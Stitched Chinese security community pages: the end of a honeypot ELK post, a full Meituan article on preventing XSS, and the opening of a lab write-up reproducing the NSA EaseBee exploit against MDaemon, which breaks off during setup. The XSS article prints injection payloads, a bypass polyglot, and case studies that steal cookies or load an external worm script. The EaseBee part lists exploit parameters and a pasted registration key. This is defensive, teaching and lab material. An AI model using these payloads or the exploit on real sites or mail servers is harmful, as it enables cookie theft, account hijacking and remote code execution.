关于这个主题，下面的条目是我仍想继续做的：
#### Kibana
1. 找到能够在一次可视化中展示多个字段的方法（比如同时显示用户名/密码）
2. 清理修改Kibana主控板—— 删除可视化标签
3. 将IP地址转为地理位置，以便在地图上显示
4. 找出使Dionaea Json再次正常工作的解决方法，便于我使用ELK展示数据
#### amChars
1. 试着通过amCharst来重新构造DionaeaFR来展示数据
我想这些意味着未来的某个时候还有下篇（希望很快就来）【译者注：外国人真墨迹，就四个字的意思-未完待续-要扯那么多】
[原文在这](http://executemalware.com/?p=355) | 社区文章 |
# 前端安全系列（一）：如何防止XSS攻击？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前端安全
随着互联网的高速发展，信息安全问题已经成为企业最为关注的焦点之一，而前端又是引发企业安全问题的高危据点。在移动互联网时代，前端人员除了传统的
XSS、CSRF 等安全问题之外，又时常遭遇网络劫持、非法调用 Hybrid API 等新型安全问题。当然，浏览器自身也在不断在进化和发展，不断引入
CSP、Same-Site Cookies 等新技术来增强安全性，但是仍存在很多潜在的威胁，这需要前端技术人员不断进行“查漏补缺”。
近几年，美团业务高速发展，前端随之面临很多安全挑战，因此积累了大量的实践经验。我们梳理了常见的前端安全问题以及对应的解决方案，将会做成一个系列，希望可以帮助前端人员在日常开发中不断预防和修复安全漏洞。本文是该系列的第一篇。
本文我们会讲解 XSS ，主要包括：
1. XSS 攻击的介绍
2. XSS 攻击的分类
3. XSS 攻击的预防和检测
4. XSS 攻击的总结
5. XSS 攻击案例
## XSS 攻击的介绍
在开始本文之前，我们先提出一个问题，请判断以下两个说法是否正确：
1. XSS 防范是后端 RD（研发人员）的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。
2. 所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。
如果你还不能确定答案，那么可以带着这些问题向下看，我们将逐步拆解问题。
### XSS 漏洞的发生和修复
XSS 攻击是页面被注入了恶意的代码，为了更形象的介绍，我们用发生在小明同学身边的事例来进行说明。
#### 一个案例
某天，公司需要一个搜索页面，根据 URL 参数决定关键词的内容。小明很快把页面写好并且上线。代码如下：
<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
您搜索的关键词是：<%= getParameter("keyword") %>
</div>
然而，在上线后不久，小明就接到了安全组发来的一个神秘链接：
http://xxx/search?keyword=”><script>alert(‘XSS’);</script>
小明带着一种不祥的预感点开了这个链接<span
style=”color:red”>[请勿模仿，确认安全的链接才能点开]</span>。果然，页面中弹出了写着”XSS”的对话框。
> 可恶，中招了！小明眉头一皱，发现了其中的奥秘：
当浏览器请求 http://xxx/search?keyword=”><script>alert(‘XSS’);</script>
时，服务端会解析出请求参数 keyword，得到 “><script>alert(‘XSS’);</script>，拼接到 HTML
中返回给浏览器。形成了如下的 HTML：
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的关键词是："><script>alert('XSS');</script>
</div>
浏览器无法分辨出 <script>alert(‘XSS’);</script> 是恶意代码，因而将其执行。
这里不仅仅 div 的内容被注入了，而且 input 的 value 属性也被注入， alert 会弹出两次。
面对这种情况，我们应该如何进行防范呢？
其实，这只是浏览器把用户的输入当成了脚本进行了执行。那么只要告诉浏览器这段内容是文本就可以了。
聪明的小明很快找到解决方法，把这个漏洞修复：
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
您搜索的关键词是：<%= escapeHTML(getParameter("keyword")) %>
</div>
escapeHTML() 按照如下规则进行转义：
字符 | 转义后的字符
---|---
& | &
< | <
> | >
“ | "
‘ | ‘
/ | /
经过了转义函数的处理后，最终浏览器接收到的响应为：
<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
您搜索的关键词是："><script>alert('XSS');</script>
</div>
恶意代码都被转义，不再被浏览器执行，而且搜索词能够完美的在页面显示出来。
通过这个事件，小明学习到了如下知识：
* 通常页面中包含的用户输入内容都在固定的容器或者属性内，以文本的形式展示。
* 攻击者利用这些页面的用户输入片段，拼接特殊格式的字符串，突破原有位置的限制，形成了代码片段。
* 攻击者通过在目标网站上注入脚本，使之在用户的浏览器上运行，从而引发潜在风险。
* 通过 HTML 转义，可以防止 XSS 攻击。<span style=”color:red”>[事情当然没有这么简单啦！请继续往下看]</span>。
#### 注意特殊的 HTML 属性、JavaScript API
自从上次事件之后，小明会小心的把插入到页面中的数据进行转义。而且他还发现了大部分模板都带有的转义配置，让所有插入到页面中的数据都默认进行转义。这样就不怕不小心漏掉未转义的变量啦，于是小明的工作又渐渐变得轻松起来。
但是，作为导演的我，不可能让小明这么简单、开心地改 Bug 。
不久，小明又收到安全组的神秘链接：http://xxx/?redirect_to=javascript:alert(‘XSS’)。小明不敢大意，赶忙点开页面。然而，页面并没有自动弹出万恶的“XSS”。
小明打开对应页面的源码，发现有以下内容：
<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳转...</a>
这段代码，当攻击 URL 为 http://xxx/?redirect_to=javascript:alert(‘XSS’)，服务端响应就成了：
<a href="javascript:alert('XSS')">跳转...</a>
虽然代码不会立即执行，但一旦用户点击 a 标签时，浏览器会就会弹出“XSS”。
> 可恶，又失策了…
在这里，用户的数据并没有在位置上突破我们的限制，仍然是正确的 href 属性。但其内容并不是我们所预期的类型。
原来不仅仅是特殊字符，连 javascript: 这样的字符串如果出现在特定的位置也会引发 XSS 攻击。
小明眉头一皱，想到了解决办法：
// 禁止 URL 以 "javascript:" 开头
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
<a href="<%= escapeHTML(getParameter("redirect_to"))%>">
跳转...
</a>
} else {
<a href="/404">
跳转...
</a>
}
只要 URL 的开头不是 javascript:，就安全了吧？
安全组随手又扔了一个连接：http://xxx/?redirect_to=jAvascRipt:alert(‘XSS’)
> 这也能执行？…..好吧，浏览器就是这么强大。
小明欲哭无泪，在判断 URL 开头是否为 javascript: 时，先把用户输入转成了小写，然后再进行比对。
不过，所谓“道高一尺，魔高一丈”。面对小明的防护策略，安全组就构造了这样一个连接：
http://xxx/?redirect_to=%20javascript:alert(‘XSS’)
%20javascript:alert(‘XSS’) 经过 URL 解析后变成
javascript:alert(‘XSS’)，这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则，又成功的完成了注入。
最终，小明选择了白名单的方法，彻底解决了这个漏洞：
// 根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等
allowSchemes = ["http", "https"];
valid = isValid(getParameter("redirect_to"), allowSchemes);
if (valid) {
<a href="<%= escapeHTML(getParameter("redirect_to"))%>">
跳转...
</a>
} else {
<a href="/404">
跳转...
</a>
}
通过这个事件，小明学习到了如下知识：
* 做了 HTML 转义，并不等于高枕无忧。
* 对于链接跳转，如 <a href=”xxx” 或 location.href=”xxx”，要检验其内容，禁止以 javascript: 开头的链接，和其他非法的 scheme。
#### 根据上下文采用不同的转义规则
某天，小明为了加快网页的加载速度，把一个数据通过 JSON 的方式内联到 HTML 中：
<script>
var initData = <%= data.toJSON() %>
</script>
插入 JSON 的地方不能使用 escapeHTML()，因为转义 ” 后，JSON 格式会被破坏。
但安全组又发现有漏洞，原来这样内联 JSON 也是不安全的：
* 当 JSON 中包含 U+2028 或 U+2029 这两个字符时，不能作为 JavaScript 的字面量使用，否则会抛出语法错误。
* 当 JSON 中包含字符串 </script> 时，当前的 script 标签将会被闭合，后面的字符串内容浏览器会按照 HTML 进行解析；通过增加下一个 <script> 标签等方法就可以完成注入。
于是我们又要实现一个 escapeEmbedJSON() 函数，对内联 JSON 进行转义。
转义规则如下：
字符 | 转义后的字符
---|---
U+2028 | u2028
U+2029 | u2029
< | u003c
修复后的代码如下：
<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>
通过这个事件，小明学习到了如下知识：
* HTML 转义是非常复杂的，在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则，很有可能会埋下 XSS 隐患。
* 应当尽量避免自己写转义库，而应当采用成熟的、业界通用的转义库。
### 漏洞总结
小明的例子讲完了，下面我们来系统的看下 XSS 有哪些注入的方法：
* 在 HTML 中内嵌的文本中，恶意内容以 script 标签形成注入。
* 在内联的 JavaScript 中，拼接的数据突破了原本的限制（字符串，变量，方法名等）。
* 在标签属性中，恶意内容包含引号，从而突破属性值的限制，注入其他属性或者标签。
* 在标签的 href、src 等属性中，包含 javascript: 等可执行代码。
* 在 onload、onerror、onclick 等事件中，注入不受控制代码。
* 在 style 属性和标签中，包含类似 background-image:url(“javascript:…”); 的代码（新版本浏览器已经可以防范）。
* 在 style 属性和标签中，包含类似 expression(…) 的 CSS 表达式代码（新版本浏览器已经可以防范）。
总之，如果开发者没有将用户输入的文本进行合适的过滤，就贸然插入到 HTML
中，这很容易造成注入漏洞。攻击者可以利用漏洞，构造出恶意的代码指令，进而利用恶意代码危害数据安全。
## XSS 攻击的分类
通过上述几个例子，我们已经对 XSS 有了一些认识。
### 什么是 XSS
Cross-Site Scripting（跨站脚本攻击）简称
XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如
Cookie、SessionID 等，进而危害数据安全。
为了和 CSS 区分，这里把攻击的第一个字母改成了 X，于是叫做 XSS。
XSS 的本质是：恶意代码未经过滤，与网站正常的代码混在一起；浏览器无法分辨哪些脚本是可信的，导致恶意脚本被执行。
而由于直接在用户的终端执行，恶意代码能够直接获取用户的信息，或者利用这些信息冒充用户向网站发起攻击者定义的请求。
在部分情况下，由于输入的限制，注入的恶意脚本比较短。但可以通过引入外部的脚本，并由浏览器执行，来完成比较复杂的攻击策略。
这里有一个问题：用户是通过哪种方法“注入”恶意脚本的呢？
不仅仅是业务上的“用户的 UGC 内容”可以进行注入，包括 URL 上的参数等都可以是攻击的来源。在处理输入时，以下内容都不可信：
* 来自用户的 UGC 信息
* 来自第三方的链接
* URL 参数
* POST 参数
* Referer （可能来自不可信的来源）
* Cookie （可能来自其他子域注入）
### XSS 分类
根据攻击的来源，XSS 攻击可分为存储型、反射型和 DOM 型三种。
类型 | 存储区* | 插入点*
---|---|---
存储型 XSS | 后端数据库 | HTML
反射型 XSS | URL | HTML
DOM 型 XSS | 后端数据库/前端存储/URL | 前端 JavaScript
* 存储区：恶意代码存放的位置。
* 插入点：由谁取得恶意代码，并插入到网页上。
#### 存储型 XSS
存储型 XSS 的攻击步骤：
1. 攻击者将恶意代码提交到目标网站的数据库中。
2. 用户打开目标网站时，网站服务端将恶意代码从数据库取出，拼接在 HTML 中返回给浏览器。
3. 用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
这种攻击常见于带有用户保存数据的网站功能，如论坛发帖、商品评论、用户私信等。
#### 反射型 XSS
反射型 XSS 的攻击步骤：
1. 攻击者构造出特殊的 URL，其中包含恶意代码。
2. 用户打开带有恶意代码的 URL 时，网站服务端将恶意代码从 URL 中取出，拼接在 HTML 中返回给浏览器。
3. 用户浏览器接收到响应后解析执行，混在其中的恶意代码也被执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
反射型 XSS 跟存储型 XSS 的区别是：存储型 XSS 的恶意代码存在数据库里，反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能，如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效，攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型 XSS，只不过其触发条件比较苛刻（需要构造表单提交页面，并引导用户点击），所以非常少见。
#### DOM 型 XSS
DOM 型 XSS 的攻击步骤：
1. 攻击者构造出特殊的 URL，其中包含恶意代码。
2. 用户打开带有恶意代码的 URL。
3. 用户浏览器接收到响应后解析执行，前端 JavaScript 取出 URL 中的恶意代码并执行。
4. 恶意代码窃取用户数据并发送到攻击者的网站，或者冒充用户的行为，调用目标网站接口执行攻击者指定的操作。
DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript
自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。
## XSS 攻击的预防
通过前面的介绍可以得知，XSS 攻击有两大要素：
1. 攻击者提交恶意代码。
2. 浏览器执行恶意代码。
针对第一个要素：我们是否能够在用户输入的过程，过滤掉用户输入的恶意代码呢？
### 输入过滤
在用户提交时，由前端过滤输入，然后提交到后端。这样做是否可行呢？
答案是不可行。一旦攻击者绕过前端过滤，直接构造请求，就可以提交恶意代码了。
那么，换一个过滤时机：后端在写入数据库前，对输入进行过滤，然后把“安全的”内容，返回给前端。这样是否可行呢？
我们举一个例子，一个正常的用户输入了 5 < 7 这个内容，在写入数据库前，被转义，变成了 5 < 7。
问题是：在提交阶段，我们并不确定内容要输出到哪里。
这里的“并不确定内容要输出到哪里”有两层含义：
1. 用户的输入内容可能同时提供给前端和客户端，而一旦经过了 escapeHTML()，客户端显示的内容就变成了乱码( 5 < 7 )。
2. 在前端中，不同的位置所需的编码也不同。
* 当 5 < 7 作为 HTML 拼接页面时，可以正常显示：
<div title="comment">5 < 7</div>
* 当 5 < 7 通过 Ajax 返回，然后赋值给 JavaScript 的变量时，前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示，也不能直接用于内容长度计算。不能用于标题、alert 等。
所以，输入侧过滤能够在某些情况下解决特定的 XSS 问题，但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。
当然，对于明确的输入类型，例如数字、URL、电话号码、邮件地址等等内容，进行输入过滤还是必要的。
既然输入过滤并非完全可靠，我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类：
* 防止 HTML 中出现注入。
* 防止 JavaScript 执行时，执行恶意代码。
### 预防存储型和反射型 XSS 攻击
存储型和反射型 XSS 都是在服务端取出恶意代码后，插入到响应 HTML 里的，攻击者刻意编写的“数据”被内嵌到“代码”中，被浏览器所执行。
预防这两种漏洞，有两种常见做法：
* 改成纯前端渲染，把代码和数据分隔开。
* 对 HTML 做充分转义。
#### 纯前端渲染
纯前端渲染的过程：
1. 浏览器先加载一个静态 HTML，此 HTML 中不包含任何跟业务相关的数据。
2. 然后浏览器执行 HTML 中的 JavaScript。
3. JavaScript 通过 Ajax 加载业务数据，调用 DOM API 更新到页面上。
在纯前端渲染中，我们会明确的告诉浏览器：下面要设置的内容是文本（.innerText），还是属性（.setAttribute），还是样式（.style）等等。浏览器不会被轻易的被欺骗，执行预期外的代码了。
但纯前端渲染还需注意避免 DOM 型 XSS 漏洞（例如 onload 事件和 href 中的 javascript:xxx 等，请参考下文”预防 DOM
型 XSS 攻击“部分）。
在很多内部、管理系统中，采用纯前端渲染是非常合适的。但对于性能要求高，或有 SEO 需求的页面，我们仍然要面对拼接 HTML 的问题。
#### 转义 HTML
如果拼接 HTML 是必要的，就需要采用合适的转义库，对 HTML 模板各处插入点进行充分的转义。
常用的模板引擎，如 doT.js、ejs、FreeMarker 等，对于 HTML 转义通常只有一个规则，就是把 & < > ” ‘ /
这几个字符转义掉，确实能起到一定的 XSS 防护作用，但并不完善：
XSS 安全漏洞 | 简单转义是否有防护作用
---|---
HTML 标签文字内容 | 有
HTML 属性值 | 有
CSS 内联样式 | 无
内联 JavaScript | 无
内联 JSON | 无
跳转链接 | 无
所以要完善 XSS 防护措施，我们要使用更完善更细致的转义策略。
例如 Java 工程里，常用的转义库为 org.owasp.encoder。以下代码引用自 [org.owasp.encoder
的官方说明](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project)。
<!-- HTML 标签内文字内容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>
<!-- HTML 标签属性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />
<!-- CSS 属性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
<!-- JavaScript 内联代码块 -->
<script>
var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
alert(msg);
</script>
<!-- JavaScript 内联代码块内嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>
<!-- HTML 标签内联监听器 -->
<button
onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
click me
</button>
<!-- URL 参数 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
<!-- URL 路径 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
<!-- URL.
注意：要根据项目情况进行过滤，禁止掉 "javascript:" 链接、非法 scheme 等
-->
<a href='<%=
urlValidator.isValid(UNTRUSTED) ?
Encode.forHtml(UNTRUSTED) :
"/404"
%>'>
link
</a>
可见，HTML 的编码是十分复杂的，在不同的上下文里要使用相应的转义规则。
### 预防 DOM 型 XSS 攻击
DOM 型 XSS 攻击，实际上就是网站前端 JavaScript 代码本身不够严谨，把不可信的数据当作代码执行了。
在使用 .innerHTML、.outerHTML、document.write() 时要特别小心，不要把不可信的数据作为 HTML
插到页面上，而应尽量使用 .textContent、.setAttribute() 等。
如果用 Vue/React 技术栈，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端 render 阶段避免
innerHTML、outerHTML 的 XSS 隐患。
DOM 中的内联事件监听器，如 location、onclick、onerror、onload、onmouseover 等，<a> 标签的 href
属性，JavaScript 的 eval()、setTimeout()、setInterval()
等，都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API，很容易产生安全隐患，请务必避免。
<!-- 内联事件监听器中包含恶意代码 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
<!-- 链接内包含恶意代码 -->
<a href="UNTRUSTED">1</a>
<script>
// setTimeout()/setInterval() 中调用恶意代码
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// location 调用恶意代码
location.href = 'UNTRUSTED'
// eval() 中调用恶意代码
eval("UNTRUSTED")
</script>
如果项目中有用到这些的话，一定要避免在字符串中拼接不可信数据。
## 其他 XSS 防范措施
虽然在渲染页面和执行 JavaScript 时，通过谨慎的转义可以防止 XSS 的发生，但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案，可以降低
XSS 带来的风险和后果。
### Content Security Policy
严格的 CSP 在 XSS 的防范中可以起到以下的作用：
* 禁止加载外域代码，防止复杂的攻击逻辑。
* 禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。
* 禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。
* 禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。
* 合理使用上报可以及时发现 XSS，利于尽快修复问题。
关于 CSP 的详情，请关注前端安全系列后续的文章。
### 输入内容长度控制
对于不受信任的输入，都应该限定一个合理的长度。虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。
### 其他安全措施
* HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。
* 验证码：防止脚本冒充用户提交危险操作。
## XSS 的检测
上述经历让小明收获颇丰，他也学会了如何去预防和修复 XSS 漏洞，在日常开发中也具备了相关的安全意识。但对于已经上线的代码，如何去检测其中有没有 XSS
漏洞呢？
经过一番搜索，小明找到了两个方法：
1. 使用通用 XSS 攻击字符串手动检测 XSS 漏洞。
2. 使用扫描工具自动检测 XSS 漏洞。
在[Unleashing an Ultimate XSS
Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)一文中，小明发现了这么一个字符串：
jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>x3csVg/<sVg/oNloAd=alert()//>x3e
它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的
XSS 漏洞，也能检测
eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM
型 XSS 漏洞，并且能绕过一些 XSS 过滤器。
小明只要在网站的各输入框中提交这个字符串，或者把它拼接到 URL 参数上，就可以进行检测了。
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E
除了手动检测之外，还可以使用自动扫描工具寻找 XSS 漏洞，例如
[Arachni](https://github.com/Arachni/arachni)、[Mozilla HTTP
Observatory](https://github.com/mozilla/http-observatory/)、[w3af](https://github.com/andresriancho/w3af) 等。
## XSS 攻击的总结
我们回到最开始提出的问题，相信同学们已经有了答案：
1. XSS 防范是后端 RD 的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。
> 不正确。因为：
>
> * 防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端，是前端 RD 的责任。防范 XSS 是需要后端
> RD 和前端 RD 共同参与的系统工程。
> * 转义应该在输出 HTML 时进行，而不是在提交用户输入时。
2. 所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。
> 不正确。
> 不同的上下文，如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS
> 样式表等，所需要的转义规则不一致。
> 业务 RD 需要选取合适的转义库，并针对不同的上下文调用不同的转义规则。
整体的 XSS 防范是非常复杂和繁琐的，我们不仅需要在全部需要转义的位置，对数据进行对应的转义。而且要防止多余和错误的转义，避免正常的用户输入出现乱码。
虽然很难通过技术手段完全避免 XSS，但我们可以总结以下原则减少漏洞的产生：
* 利用模板引擎
开启模板引擎自带的 HTML 转义功能。例如：
在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>；
在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }；
在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。
* 避免内联事件
尽量不要使用 onLoad=”onload(‘{{data}}’)”、onClick=”go(‘{{action}}’)” 这种拼接内联事件的写法。在
JavaScript 中通过 .addEventlistener() 事件绑定会更安全。
* 避免拼接 HTML
前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute
之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。
* 时刻保持警惕
在插入位置为 DOM 属性、链接等位置时，要打起精神，严加防范。
* 增加攻击难度，降低攻击后果
通过 CSP、输入长度配置、接口安全措施等方法，增加攻击的难度，降低攻击的后果。
* 主动检测和发现
可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。
## XSS 攻击案例
#### QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞
攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数
uin、domain 未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL，并引导用户去点击：
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：
<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
浏览器接收到响应后就会执行 alert(document.cookie)，攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的
Cookie ，进而危害数据安全。
#### 新浪微博名人堂反射型 XSS 漏洞
攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。
于是攻击者构建出一个 URL，然后诱导用户去点击：
http://weibo.com/pub/star/g/xyyyd”><script src=//xxxx.cn/image/t.js></script>
用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>
浏览器接收到响应后就会加载执行恶意脚本
//xxxx.cn/image/t.js，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上攻击
URL，诱导更多人点击，不断放大攻击范围。这种窃用受害者身份发布恶意内容，层层放大攻击范围的方式，被称为“XSS 蠕虫”。
## 扩展阅读：Automatic Context-Aware Escaping
上文我们说到：
1. 合适的 HTML 转义可以有效避免 XSS 漏洞。
2. 完善的转义库需要针对上下文制定多种规则，例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
3. 业务 RD 需要根据每个插入点所处的上下文，选取不同的转义规则。
通常，转义库是不能判断插入点上下文的（Not Context-Aware），实施转义规则的责任就落到了业务 RD 身上，需要每个业务 RD 都充分理解
XSS 的各种情况，并且需要保证每一个插入点使用了正确的转义规则。
这种机制工作量大，全靠人工保证，很容易造成 XSS 漏洞，安全人员也很难发现隐患。
2009年，Google 提出了一个概念叫做：[Automatic Context-Aware
Escaping](https://security.googleblog.com/2009/03/reducing-xss-by-way-of-automatic.html)。
所谓 Context-Aware，就是说模板引擎在解析模板字符串的时候，就解析模板语法，分析出每个插入点所处的上下文，据此自动选用不同的转义规则。这样就减轻了业务 RD
的工作负担，也减少了人为带来的疏漏。
在一个支持 Automatic Context-Aware Escaping 的模板引擎里，业务 RD 可以这样定义模板，而无需手动实施转义规则：
<html>
<head>
<meta charset="UTF-8">
<title>{{.title}}</title>
</head>
<body>
<a href="{{.url}}">{{.content}}</a>
</body>
</html>
模板引擎经过解析后，得知三个插入点所处的上下文，自动选用相应的转义规则：
<html>
<head>
<meta charset="UTF-8">
<title>{{.title | htmlescaper}}</title>
</head>
<body>
<a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
</body>
</html>
目前已经支持 Automatic Context-Aware Escaping 的模板引擎有：
* [go html/template](https://golang.org/pkg/html/template/)
* [Google Closure Templates](https://developers.google.com/closure/templates/docs/security)
## 课后作业：XSS 攻击小游戏
以下是几个 XSS 攻击小游戏，开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入，完成 XSS 攻击即可通关。
在玩游戏的过程中，请各位读者仔细思考和回顾本文内容，加深对 XSS 攻击的理解。
[alert(1) to win](https://alf.nu/alert1)
[prompt(1) to win](http://prompt.ml/)
[XSS game](https://xss-game.appspot.com/)
## 参考文献
* Wikipedia. [Cross-site scripting](https://en.wikipedia.org/wiki/Cross-site_scripting), Wikipedia.
* OWASP. [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_\(Cross_Site_Scripting)_Prevention_Cheat_Sheet), OWASP.
* OWASP. [Use the OWASP Java Encoder](https://github.com/OWASP/owasp-java-encoder/wiki/2)-Use-the-OWASP-Java-Encoder), GitHub.
* Ahmed Elsobky. [Unleashing an Ultimate XSS Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot), GitHub.
* Jad S. Boutros. [Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems](https://security.googleblog.com/2009/03/reducing-xss-by-way-of-automatic.html), Google Security Blog.
* Vue.js. [v-html – Vue API docs](https://vuejs.org/v2/api/#v-html), Vue.js.
* React. [dangerouslySetInnerHTML – DOM Elements](https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml), React.
## 下期预告
前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击，敬请关注。
## 作者介绍
李阳，美团点评前端工程师。2016年加入美团点评，负责美团外卖 Hybrid 页面性能优化相关工作。 | 社区文章 |
## 作者：雨夜（阿尔法实验室）
## 0×01 概述
EaseBee是NSA开发的针对邮件系统MDaemon代码执行漏洞的一个工具，它支持多个版本MDaemon是一款著名的标准SMTP/POP/IMAP邮件服务系统，由美国Alt-N公司开发。它提供完整的邮件服务器功能，保护用户不受垃圾邮件的干扰，实现网页登陆收发邮件，支持远程管理，并且当与MDaemon
AntiVirus插件结合使用时，它还保护系统防御邮件病毒。它安全，可靠，功能强大，是世界上成千上万的公司广泛使用的邮件服务器。
## 0×02 环境搭建
[
在靶机上安装 MDaemon 9.6.6
如果遇到下图错误
[
请参考<http://www.jb51.net/os/windows/Win2003/85144.html解决，否则MDaemon无法启动>
注册码：FNATFSY-CPBSDWO-AKOKPXX
域名自行设置 test.com （后面要用到）
[
将“此账户是管理员”选上
[
## 0×03 漏洞验证
在攻击机上运行fb.py，并设置基本参数
[
使用 EaseBee 模块
[
这个模块的参数比较多，其中
TargetWCPort ：3000 （默认3000）
TargetWAPort ： 1000
WorldClientProtocol : http（默认为non-ssl），可以查看服务器
[
WorldClientDomain ： 192.167.30.201，如果输入配置的域名需要修改HOSTS文件（为了方便直接输入IP）
WorldClientPort ：3000
WebAdminProtocol ：http
WebAdminDomain ：192.167.30.201
WebAdminPort ： 1000
TargetAcctDomain ： test.com (安装时输入的域名)
TargetAcctUsr： hello (这里一定不要带 @test.com)
TargetAcctPwd ： Test123
PayloadName：111.exe
PayloadFile：C:\
[
运行后一直提示无法找到payload file （此处浪费了不少时间）
[
